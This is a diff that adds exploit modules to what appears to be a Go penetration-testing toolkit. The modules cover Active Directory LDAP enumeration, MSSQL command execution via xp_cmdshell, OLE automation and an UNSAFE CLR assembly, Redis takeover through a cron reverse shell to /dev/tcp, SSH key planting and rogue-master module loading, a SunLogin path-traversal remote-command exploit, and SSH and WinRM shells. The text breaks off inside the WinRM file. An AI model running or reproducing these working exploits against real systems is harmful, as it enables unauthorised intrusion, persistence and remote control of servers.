t.AppendRows([]table.Row{ + {fmt.Sprintf("Description: %s", entry.GetAttributeValue("description"))}, + }) + } + if len(entry.GetAttributeValue("title")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Title: %s", entry.GetAttributeValue("title"))}, + }) + } + if len(entry.GetAttributeValue("c")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Country: %s", entry.GetAttributeValue("c"))}, + }) + } + if len(entry.GetAttributeValue("co")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Country Code: %s", entry.GetAttributeValue("co"))}, + }) + } + if len(entry.GetAttributeValue("l")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("City: %s", entry.GetAttributeValue("l"))}, + }) + } + if len(entry.GetAttributeValue("st")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("State: %s", entry.GetAttributeValue("st"))}, + }) + } + if len(entry.GetAttributeValue("streetAddress")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Street Address: %s", entry.GetAttributeValue("streetAddress"))}, + }) + } + if len(entry.GetAttributeValue("postalCode")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Postal Code: %s", entry.GetAttributeValue("postalCode"))}, + }) + } + if len(entry.GetAttributeValue("postOfficeBox")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Post Office Box: %s", entry.GetAttributeValue("postOfficeBox"))}, + }) + } + if len(entry.GetAttributeValue("company")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Company: %s", entry.GetAttributeValue("company"))}, + }) + } + if len(entry.GetAttributeValue("instanceType")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Instance Type: %s", entry.GetAttributeValue("instanceType"))}, + }) + } + if len(entry.GetAttributeValue("objectClass")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Object Class: %s", strings.Join(entry.GetAttributeValues("objectClass"), ", "))}, + }) + } + if len(entry.GetAttributeValue("objectCategory")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Object Category: %s", entry.GetAttributeValue("objectCategory"))}, + }) + } + if len(entry.GetAttributeValue("memberOf")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Member Of: \n\t%s", strings.Join(entry.GetAttributeValues("memberOf"), "\n\t"))}, + }) + } + if len(entry.GetAttributeValue("dNSHostName")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("DNS Host Name: %s", entry.GetAttributeValue("dNSHostName"))}, + }) + } + if len(entry.GetAttributeValue("servicePrincipalName")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Service Principal Name (SPN): \n\t%s", strings.Join(entry.GetAttributeValues("servicePrincipalName"), "\n\t"))}, + }) + } + if len(entry.GetAttributeValue("operatingSystem")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Operating System: %s", entry.GetAttributeValue("operatingSystem"))}, + }) + } + if len(entry.GetAttributeValue("operatingSystemVersion")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Operating System Version: %s", entry.GetAttributeValue("operatingSystemVersion"))}, + }) + } + if len(entry.GetAttributeValue("userAccountControl")) > 0 { + uacFlag, err := strconv.ParseInt(entry.GetAttributeValue("userAccountControl"), 0, 64) + if err != nil { + //do nothing + } else { + t.AppendRows([]table.Row{ + {fmt.Sprintf("UAC Flag: %s", strings.Join(LdapParse(uacFlag, UacFlags)[:], ","))}, + }) + } + } + if len(entry.GetAttributeValue("userAccountControl")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("User Account Control: %s", entry.GetAttributeValue("userAccountControl"))}, + }) + } + if len(entry.GetAttributeValue("trustType")) > 0 { + trustType, err := strconv.ParseInt(entry.GetAttributeValue("trustType"), 0, 64) + if err != nil { + //do nothing + } else { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Trust Type: %s", strings.Join(LdapParse(trustType, TrustType)[:], ","))}, + }) + } + } + if len(entry.GetAttributeValue("trustDirection")) > 0 { + trustDirection, err := strconv.ParseInt(entry.GetAttributeValue("trustDirection"), 0, 64) + if err != nil { + //do nothing + } else { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Trust Direction: %s", strings.Join(LdapParse(trustDirection, TrustDirections)[:], ","))}, + }) + } + } + if len(entry.GetAttributeValue("trustAttributes")) > 0 { + trustAttributes, err := strconv.ParseInt(entry.GetAttributeValue("trustAttributes"), 0, 64) + if err != nil { + //do nothing + } else { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Trust Attribute: %s", strings.Join(LdapParse(trustAttributes, Trust)[:], ","))}, + }) + } + } + if len(entry.GetAttributeValue("objectGUID")) > 0 { + guid, err := LdapGUID(entry.GetRawAttributeValue("objectGUID")) + if err != nil { + //do nothing + } else { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Object GUID: %s", guid)}, + }) + } + } + if len(entry.GetAttributeValue("objectSid")) > 0 { + sidByte := []byte(entry.GetAttributeValue("objectSid")) + sid, err := LdapSID(sidByte) + if err != nil { + //do nothing + } else { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Object SID: %s", sid)}, + }) + } + } +} diff --git a/pkg/exploit/ldap/ldap.go b/pkg/exploit/ldap/ldap.go new file mode 100644 index 0000000..1469363 --- /dev/null +++ b/pkg/exploit/ldap/ldap.go @@ -0,0 +1,44 @@ +package ldap + +import ( + "Yasso/pkg/exploit/ldap/core/query" + "fmt" + "strings" +) + +// LdapAuthAndQuery ldap 认证并且查询目标 +// 设置参数 command , filter, user , password, dc host , name +func LdapAuthAndQuery(ldapServer, ldapUser, ldapPassword, command, filter, name string, all bool) { + s := strings.Split(ldapServer, ".") + baseDN := "" + for x := 1; x < len(s); x++ { + if x == len(s)-1 { + baseDN += "DC=" + s[x] + } else { + baseDN += "DC=" + s[x] + "," + } + } + ldapServer = fmt.Sprintf("%s:389", ldapServer) + query.LdapListQuery(ldapServer, ldapUser, ldapPassword, baseDN, command, filter, name, all) +} + +func ListLdapCommand() { + fmt.Println(" 可执行的查询命令") + fmt.Println(" dc - 列出域控制器") + fmt.Println(" domain-trust - 列出域信任关系") + fmt.Println(" users - 列出域内全部用户") + fmt.Println(" computers - 列出域内全部计算机") + fmt.Println(" groups - 列出域内组和成员") + fmt.Println(" spn - 列出服务的spn对象") + fmt.Println(" never-loggedon - 列出域内从未登陆过的用户") + fmt.Println(" gpo - 列出gpo规则对象") + fmt.Println(" ou - 列出组织单位") + fmt.Println(" ms-sql - 列出SQL Server服务(注册的)") + fmt.Println(" asreproast - 列出AS-REP可托管账户") + fmt.Println(" unconstrained - 列出不受约束委派的用户") + fmt.Println(" admin-priv - 列出域内管理员权限组") + fmt.Println(" 可执行的过滤器指令(users,groups,computers)") + fmt.Println(" list - 仅仅列出全部对象") + fmt.Println(" full-data - 列出全部对象带有对象属性") + fmt.Println(" membership - 列出全部的成员从一个对象当中") +} diff --git a/pkg/exploit/mssql/mssql.go b/pkg/exploit/mssql/mssql.go new file mode 100644 index 0000000..cb909ba --- /dev/null +++ b/pkg/exploit/mssql/mssql.go @@ -0,0 +1,213 @@ +package mssql + +import ( + config2 "Yasso/config" + "Yasso/core/logger" + "Yasso/core/plugin" + "Yasso/pkg/exploit/config" + "database/sql" + _ "embed" + "fmt" + "strconv" + "time" +) + +//go:embed static/SharpSQLKit.txt +var SharpSQLKit string + +func ExploitMssql(exploits config.Exploits, method int, Command string) { + var ( + conn = new(setting) + ) + mssqlConn, status, err := plugin.MssqlConn(config2.ServiceConn{ + Hostname: exploits.Hostname, + Port: exploits.Port, + Timeout: 1000 * time.Millisecond, + }, exploits.User, exploits.Pass) + if status == false || err != nil { + logger.Fatal("conn mssql failed") + return + } + + switch method { + case 1: + conn.Setting(mssqlConn) + conn.xp_shell(Command) + case 2: + conn.Setting(mssqlConn) + conn.sp_shell(Command) + case 3: + conn.Setting(mssqlConn) + conn.Install_clr() + case 4: + conn.Setting(mssqlConn) + conn.Uninstall_clr() + default: + logger.Fatal("not found mssql exploit method") + return + } +} + +func (s *setting) Setting(conn *sql.DB) { + s.Conn = conn +} + +type setting struct { + Conn *sql.DB + Command string +} + +func (s *setting) xp_shell(Command string) bool { + + if s.set_configuration("xp_cmdshell", 0) && !s.enable_xp_cmdshell() { + return false + } + logger.Success(fmt.Sprintf("Command: %v", Command)) + var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command) + r, err := config.SQLExecute(s.Conn, sqlstr) + if err != nil { + logger.Fatal(fmt.Sprintf("exec xp_cmdshell command failed %v", err)) + return false + } + for _, b := range r.Rows { + fmt.Println(b[0]) + } + return true +} + +func (s *setting) sp_shell(Command string) bool { + if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() { + return false + } + var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000) +exec sp_oacreate 'wscript.shell',@shell output +exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v' +exec sp_oamethod @exec, 'StdOut', @text out; +exec sp_oamethod @text, 'ReadAll', @str out +select @str`, Command) + logger.Success(fmt.Sprintf("Command: %v", Command)) + r, err := config.SQLExecute(s.Conn, sqlstr) + if err != nil { + logger.Fatal(fmt.Sprintf("exec ole command failed %v", err)) + return false + } + for i, b := range r.Rows { + fmt.Println(b[i]) + } + return true +} + +func (s *setting) Enable_ole() bool { + if !s.set_configuration("show advanced options", 1) { + logger.Fatal("cannot enable 'show advanced options'") + return false + } + if !s.set_configuration("Ole Automation Procedures", 1) { + logger.Fatal("cannot enable 'Ole Automation Procedures'") + return false + } + return true +} + +func (s *setting) check_configuration(option string, value int) bool { + var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option) + r, err := config.SQLExecute(s.Conn, Command) + if err != nil { + return false + } + if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) { + return true + } + return false +} + +func (s *setting) set_configuration(option string, value int) bool { + // 设置 + var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value) + _, err := config.SQLExecute(s.Conn, Command) + if err != nil { + return false + } + return s.check_configuration(option, value) +} + +func (s *setting) set_permission_set() bool { + var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;") + logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON") + _, err := config.SQLExecute(s.Conn, Command) + if err != nil { + logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON Failed") + return false + } + return true +} + +func (s *setting) enable_xp_cmdshell() bool { + if !s.set_configuration("show advanced options", 1) { + logger.Fatal("cannot ebable 'show advanced options'") + return false + } + if !s.set_configuration("xp_cmdshell", 1) { + logger.Fatal("cannot enable 'xp_cmdshell'") + return false + } + return true +} + +func (s *setting) Install_clr() bool { + if !s.set_permission_set() { + return false + } + if !s.CREATE_ASSEMBLY() { + return false + } + if !s.CREATE_PROCEDURE() { + return false + } + logger.Info("Install SharpSQLKit successful!") + logger.Info("Please Use SQL Connect Tools to Execute") + return true +} + +func (s *setting) CREATE_ASSEMBLY() bool { + var KitHex string + logger.Info("SQLKit ==> SharpSQLKit") + KitHex = SharpSQLKit + var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module] + AUTHORIZATION [dbo] + FROM 0x%s + WITH PERMISSION_SET = UNSAFE;`, KitHex) + _, err := config.SQLExecute(s.Conn, Command) + if err != nil { + logger.Fatal(fmt.Sprintf("Import the assembly failed %v", err)) + return false + } + logger.Info("Import the assembly") + return true +} + +func (s *setting) CREATE_PROCEDURE() bool { + var Command string + Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`) + _, err := config.SQLExecute(s.Conn, Command) + if err != nil { + logger.Fatal(fmt.Sprintf("Link the assembly to a stored procedure failed %v", err)) + return false + } + logger.Info("Link the assembly to a stored procedure") + return true +} + +func (s *setting) Uninstall_clr() bool { + var Command string + logger.Info("SQLKit ==> SharpSQLKit") + Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec +drop assembly CLR_module`) + _, err := config.SQLExecute(s.Conn, Command) + if err != nil { + logger.Fatal(fmt.Sprintf("Uninstall SQLKit failed %v", err)) + return false + } + logger.Info("uninstall SQLKit successful!") + return true +} diff --git a/cmd/static/SharpSQLKit.txt b/pkg/exploit/mssql/static/SharpSQLKit.txt similarity index 100% rename from cmd/static/SharpSQLKit.txt rename to pkg/exploit/mssql/static/SharpSQLKit.txt diff --git a/pkg/exploit/redis/redis.go b/pkg/exploit/redis/redis.go new file mode 100644 index 0000000..209e206 --- /dev/null +++ b/pkg/exploit/redis/redis.go @@ -0,0 +1,499 @@ +package redis + +import ( + config2 "Yasso/config" + "Yasso/core/logger" + "Yasso/core/plugin" + "Yasso/pkg/exploit/config" + "bufio" + "context" + _ "embed" + "errors" + "fmt" + "github.com/go-redis/redis/v8" + "io" + "net" + "os" + "path/filepath" + "strconv" + "strings" + "sync" + "time" +) + +//go:embed static/exp.so +var payload []byte + +func ExploitRedis(exploits config.Exploits, method int, rebound, filename string, Listen string, soPath string) { + var conn net.Conn + var err error + var status bool + switch method { + case 1: // redis写定时计划 + if exploits.Pass == "" { + conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{ + Hostname: exploits.Hostname, + Port: exploits.Port, + Timeout: 1 * time.Second, + }, "", "") + } else { + conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{ + Hostname: exploits.Hostname, + Port: exploits.Port, + Timeout: 1 * time.Second, + }, exploits.User, exploits.Pass) + } + if err != nil || status == false { + logger.Fatal("Redis auth has an error") + return + } + redisCron(conn, rebound) + case 2: // redis 写key + if exploits.Pass == "" { + conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{ + Hostname: exploits.Hostname, + Port: exploits.Port, + Timeout: 1 * time.Second, + }, "", "") + } else { + conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{ + Hostname: exploits.Hostname, + Port: exploits.Port, + Timeout: 1 * time.Second, + }, "", exploits.Pass) + } + if err != nil || status == false { + logger.Fatal("Redis auth has an error") + return + } + redisKey(conn, filename) + case 3: + client := initRedisClient(exploits.Hostname, exploits.Port, exploits.Pass) + var lhost string + var lport int + if Listen != "" && len(strings.Split(Listen, ":")) == 2 { + lhost = strings.Split(Listen, ":")[0] + lport, err = strconv.Atoi(strings.Split(Listen, ":")[1]) + } + soWrite(client, lhost, lport, soPath) + default: + logger.Fatal("not found redis exploit method") + return + } +} + +func test(conn net.Conn) (cron bool, ssh bool, err error) { + var reply string + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入 + if err != nil { + return false, false, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, false, err + } + if strings.Contains(reply, "OK") { + ssh = true + } + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入 + if err != nil { + return false, ssh, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, ssh, err + } + if strings.Contains(reply, "OK") { + cron = true + } + return cron, ssh, nil +} + +func redisCron(conn net.Conn, ReboundAddress string) bool { + c, _, err := test(conn) + if err != nil { + logger.Fatal("redis may be not write") + return false + } + if c { + status, err := cronWrite(conn, ReboundAddress) + if err != nil { + logger.Fatal("write rebound shell address failed") + return false + } + if status { + logger.Info("write rebound shell address success") + return true + } else { + logger.Fatal("write rebound shell address failed") + } + } else { + logger.Fatal("write rebound shell address failed") + } + return false +} + +func redisKey(conn net.Conn, filename string) bool { + _, k, err := test(conn) + if err != nil { + logger.Fatal("redis may be not write") + return false + } + if k { + status, err := keyWrite(conn, filename) + if err != nil { + logger.Fatal("write public key into /root/.ssh/ failed") + return false + } + if status { + logger.Info("write public key into /root/.ssh/ success") + return true + } else { + logger.Fatal("write public key into /root/.ssh/ failed") + } + } else { + logger.Fatal("write public key into /root/.ssh/ failed") + } + return false +} + +func cronWrite(conn net.Conn, ReboundAddress string) (bool, error) { + var ( + remote = strings.Split(ReboundAddress, ":") + flag = false + reply string + host string + port string + ) + if len(remote) == 2 { + host, port = remote[0], remote[1] + } else { + return false, errors.New("remote host address is not like 192.160.1.1:4444") + } + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) + if err != nil { + return false, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "+OK") { // redis可写定时计划任务 + // 存在定时计划写入 + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) + if err != nil { + return false, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, err + } + // 数据库设置成功 + if strings.Contains(reply, "+OK") { + // 写入定时计划任务 + _, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port))) + if err != nil { + return false, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "+OK") { + _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) + if err != nil { + return false, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "OK") { + logger.Info("save corn success") + flag = true + } + } + // 恢复原始的dbfilename + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n"))) + if err != nil { + return false, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "OK") { + logger.Info("restore the original dbfilename") + } + } + } + return flag, nil +} + +func keyWrite(conn net.Conn, filename string) (bool, error) { + var flag = false + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) + if err != nil { + return false, err + } + reply, err := plugin.RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "OK") { + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) + if err != nil { + return false, err + } + reply, err := plugin.RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "OK") { + key, err := readKeyFile(filename) + if err != nil { + return false, err + } + if len(key) == 0 { + return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename)) + } + _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) + if err != nil { + return false, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "OK") { + // 保存 + _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) + if err != nil { + return false, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "OK") { + flag = true + } + } + // 恢复原始的dbfilename + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n"))) + if err != nil { + return false, err + } + reply, err = plugin.RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply, "OK") { + logger.Info("Restore the original dbfilename") + } + } + } + return flag, nil +} + +func readKeyFile(filename string) (string, error) { + file, err := os.Open(filename) + if err != nil { + return "", err + } + defer file.Close() + scanner := bufio.NewScanner(file) + for scanner.Scan() { + text := strings.TrimSpace(scanner.Text()) + if text != "" { + return text, nil + } + } + return "", err +} + +func soWrite(client *redis.Client, lHost string, lPort int, soPath string) { + // 设置so文件存放路径 + var dest string + if soPath == "" { + dest = "/tmp/net.so" + } else { + dest = soPath + } + rexec(fmt.Sprintf("slaveof %v %v", lHost, lPort), client) + logger.Info(fmt.Sprintf("slaveof %v %v", lHost, lPort)) + dbfilename, dir := getInformation(client) + filenameDir, filename := filepath.Split(dest) + rexec(fmt.Sprintf("config set dir %v", filenameDir), client) + rexec(fmt.Sprintf("config set dbfilename %v", filename), client) + // 做监听 + listenLocal(fmt.Sprintf("%v:%v", lHost, lPort)) + // 重置数据库 + reStore(client, dir, dbfilename) + // 加载so文件 + s := rexec(fmt.Sprintf("module load %v", dest), client) + if s == "need unload" { + logger.Info("try to unload") + rexec(fmt.Sprintf("module unload system"), client) + logger.Info("to the load") + rexec(fmt.Sprintf("module load %v", dest), client) + } + logger.Info("module load success") + // 循环执行命令 + reader := bufio.NewReader(os.Stdin) + for { + var cmd string + fmt.Printf("[redis-rce]» ") + cmd, _ = reader.ReadString('\n') + cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "") + if cmd == "exit" { + cmd = fmt.Sprintf("rm %v", dest) + run(fmt.Sprintf(cmd), client) + rexec(fmt.Sprintf("module unload system"), client) + logger.Info("module unload system break redis-rce") + break + } + receive(run(fmt.Sprintf(cmd), client)) + } + os.Exit(0) +} + +func initRedisClient(host string, port int, pass string) *redis.Client { + rdb := redis.NewClient(&redis.Options{ + Addr: fmt.Sprintf("%v:%v", host, port), + Password: pass, // no password set + DB: 0, // use default DB + }) + return rdb +} + +func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) { + defer wg.Done() + buf := make([]byte, 1024) + for { + time.Sleep(1 * time.Second) + n, err := c.Read(buf) + if err == io.EOF || n == 0 { + logger.Info("master-slave replication process is complete") + return + } + switch { + case strings.Contains(string(buf[:n]), "PING"): + _, _ = c.Write([]byte("+PONG\r\n")) + //Send("+PONG") + case strings.Contains(string(buf[:n]), "REPLCONF"): + _, _ = c.Write([]byte("+OK\r\n")) + //Send("+OK") + case strings.Contains(string(buf[:n]), "SYNC"): + resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符 + resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n" + rep := []byte(resp) + rep = append(rep, payload...) + rep = append(rep, []byte("\r\n")...) + _, _ = c.Write(rep) + //Send(resp) + } + } +} + +func rexec(cmd string, client *redis.Client) string { + args := strings.Fields(cmd) + var argsInterface []interface{} + for _, arg := range args { + argsInterface = append(argsInterface, arg) + } + //Send(cmd) + val, err := client.Do(context.Background(), argsInterface...).Result() + return check(val, err) +} + +func check(val interface{}, err error) string { + if err != nil { + if err == redis.Nil { + logger.Fatal("key is not exist") + return "" + } + logger.Fatal(fmt.Sprintf("%v", err.Error())) + if err.Error() == "error loading the extension. Please check the server logs." { + return "need unload" + } + os.Exit(0) + } + switch v := val.(type) { + case string: + return v + case []string: + return "list result:" + strings.Join(v, " ") + case []interface{}: + s := "" + for _, i := range v { + s += i.(string) + " " + } + return s + } + return "" +} + +func run(cmd string, client *redis.Client) string { + ctx := context.Background() + val, err := client.Do(ctx, "system.exec", cmd).Result() + return check(val, err) +} + +func receive(str string) { + str = strings.TrimSpace(str) + fmt.Println(fmt.Sprintf("%v", str)) +} + +func getInformation(client *redis.Client) (string, string) { + r := rexec("config get dbfilename", client) + if !strings.HasPrefix(r, "dbfilename") { + return "", "" + } + dbfilename := r[11 : len(r)-1] + d := rexec("config get dir", client) + if !strings.HasPrefix(d, "dir") { + return "", "" + } + dir := d[4 : len(d)-1] + return dbfilename, dir +} + +func listenLocal(address string) { + var wg = &sync.WaitGroup{} + wg.Add(1) + addr, err := net.ResolveTCPAddr("tcp", address) + if err != nil { + logger.Fatal("resolve tcp address failed") + os.Exit(0) + } + listen, err := net.ListenTCP("tcp", addr) + if err != nil { + logger.Fatal("listen tcp address failed") + os.Exit(0) + } + defer func(listen *net.TCPListener) { + err := listen.Close() + if err != nil { + return + } + }(listen) + logger.Info(fmt.Sprintf("start listen in %v", address)) + c, err := listen.AcceptTCP() + if err != nil { + logger.Fatal("accept tcp failed") + os.Exit(0) + } + go masterSlave(wg, c) + wg.Wait() + _ = c.Close() +} + +func reStore(client *redis.Client, dir, dbfilename string) { + success := rexec("slaveof no one", client) + if strings.Contains(success, "OK") { + logger.Info("restore file success") + } + rexec(fmt.Sprintf("config set dir %v", dir), client) + rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client) +} diff --git a/cmd/static/exp.so b/pkg/exploit/redis/static/exp.so similarity index 100% rename from cmd/static/exp.so rename to pkg/exploit/redis/static/exp.so diff --git a/pkg/exploit/ssh/ssh.go b/pkg/exploit/ssh/ssh.go new file mode 100644 index 0000000..ae1d92a --- /dev/null +++ b/pkg/exploit/ssh/ssh.go @@ -0,0 +1,76 @@ +package ssh + +import ( + config2 "Yasso/config" + "Yasso/core/logger" + "Yasso/core/plugin" + "Yasso/pkg/exploit/config" + "fmt" + "golang.org/x/crypto/ssh" + "golang.org/x/crypto/ssh/terminal" + "os" + "time" +) + +func ExploitSSH(exploits config.Exploits, key string) { + var SshConn *ssh.Client + var status bool + var err error + if key == "" { + SshConn, status, err = plugin.SshConnByUser(config2.ServiceConn{ + Hostname: exploits.Hostname, + Port: exploits.Port, + Timeout: 1000 * time.Millisecond, + }, exploits.User, exploits.Pass) + } else { + SshConn, status, err = plugin.SshConnByKey(config2.ServiceConn{ + Hostname: exploits.Hostname, + Port: exploits.Port, + Timeout: 1000 * time.Millisecond, + PublicKey: key, + }, exploits.User) + } + if err != nil || status == false { + logger.Fatal("exploit ssh has an error conn to ssh failed") + return + } + loginSSH(SshConn) // 连接到ssh +} + +func loginSSH(client *ssh.Client) { + defer client.Close() + session, err := client.NewSession() + if err != nil { + logger.Fatal(fmt.Sprintf("new ssh session failed %v", err)) + return + } + defer session.Close() + session.Stdout = os.Stdout + session.Stderr = os.Stderr + session.Stdin = os.Stdin + modes := ssh.TerminalModes{ + ssh.ECHO: 1, + ssh.TTY_OP_ISPEED: 14400, + ssh.TTY_OP_OSPEED: 14400, + ssh.VSTATUS: 1, + } + fd := int(os.Stdin.Fd()) + oldState, err := terminal.MakeRaw(fd) + if err != nil { + logger.Fatal(fmt.Sprintf("terminal failed %v", err)) + } + defer terminal.Restore(fd, oldState) + w, h, err := terminal.GetSize(fd) + if err = session.RequestPty("xterm-256color", h, w, modes); err != nil { + logger.Fatal(fmt.Sprintf("Session Request new xterm failed %v", err)) + return + } + if err = session.Shell(); err != nil { + logger.Fatal(fmt.Sprintf("Session start shell failed %v", err)) + return + } + if err = session.Wait(); err != nil { + logger.Fatal(fmt.Sprintf("Session wait failed %v", err)) + return + } +} diff --git a/pkg/exploit/sunlogin/sunlogin.go b/pkg/exploit/sunlogin/sunlogin.go new file mode 100644 index 0000000..635606d --- /dev/null +++ b/pkg/exploit/sunlogin/sunlogin.go @@ -0,0 +1,66 @@ +package sunlogin + +import ( + "Yasso/core/logger" + "Yasso/pkg/exploit/config" + "fmt" + "golang.org/x/text/encoding/simplifiedchinese" + "io" + "net/http" + "net/url" + "regexp" + "time" +) + +func ExploitSunLogin(exploits config.Exploits, Command string) { + addr := fmt.Sprintf("%v:%v", exploits.Hostname, exploits.Port) + verify := getVerify(addr) + if Command != "" { + re := runCmd(Command, addr, verify) + if re == "" { + logger.Fatal(fmt.Sprintf("exploit %s failed", addr)) + return + } else { + logger.Info(re) + } + } else { + logger.Fatal("exploit need command params") + return + } +} + +func getVerify(addr string) string { //获取Verify认证 + resp, err := http.Get(fmt.Sprintf("http://%s/cgi-bin/rpc?action=verify-haras", addr)) + if err != nil { + return "" + } + b, _ := io.ReadAll(resp.Body) + reg := regexp.MustCompile(`"verify_string":"(.*?)"`) + result := reg.FindAllSubmatch(b, 1) + if len(result) > 0 { + if len(result[0]) == 2 { + return string(result[0][1]) + } + } + return "" +} +func runCmd(cmd string, addr string, verify string) string { + cmd = url.QueryEscape(cmd) + target := "http://" + addr + `/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+` + cmd + req, err := http.NewRequest("GET", target, nil) + if err != nil { + return "" + } + req.Header.Add("Cookie", "CID="+verify) + var client = http.DefaultClient + client.Timeout = 5 * time.Second + resp, _ := client.Do(req) + if err != nil || resp == nil { + return "" + } else { + str, _ := io.ReadAll(resp.Body) + str, _ = simplifiedchinese.GBK.NewDecoder().Bytes(str) + //fmt.Println(string(str)) + return string(str) + } +} diff --git a/pkg/exploit/sunlogin/sunlogin_test.go b/pkg/exploit/sunlogin/sunlogin_test.go new file mode 100644 index 0000000..d5c1e74 --- /dev/null +++ b/pkg/exploit/sunlogin/sunlogin_test.go @@ -0,0 +1,16 @@ +package sunlogin + +import ( + "Yasso/pkg/exploit/config" + "testing" +) + +func Test(t *testing.T) { + ExploitSunLogin(config.Exploits{ + Hostname: "192.168.248.1", + Port: 49690, + User: "", + Pass: "", + }, "whoami") + +} diff --git a/pkg/exploit/winrm/winrm.go b/pkg/exploit/winrm/winrm.go new file mode 100644 index 0000000..c290450 --- /dev/null +++ b/pkg/exploit/winrm/winrm.go @@ -0,0 +1,62 @@ +package winrm + +import ( + config2 "Yasso/config" + "Yasso/core/logger" + "Yasso/core/plugin" + "Yasso/pkg/exploit/config" + "fmt" + "github.com/masterzen/winrm" + "io" + "os" + "time" +) + +func ExploitWinRM(exploits config.Exploits, Command string, isShell int) { + WinRMConn, status, err := plugin.WinRMAuth(config2.ServiceConn{ + Hostname: exploits.Hostname, + Port: exploits.Port, + Timeout: 1000 * time.Millisecond, + }, exploits.User, exploits.Pass) + + if err != nil || status == false { + return + } + switch isShell { + case 1: + WinRMShell(WinRMConn, Command, false) + case 2: + WinRMShell(WinRMConn, Command, true) + default: + logger.Fatal("not found exploit method") + return + } +} + +func WinRMShell(client *winrm.Client, Command string, shell bool) { + if shell == true { + shell, err := client.CreateShell() + if err != nil { + logger.Fatal(fmt.Sprintf("create shell failed %v", err)) + return + } + var cmd *winrm.Command + cmd, err = shell.Execute("cmd.exe") + 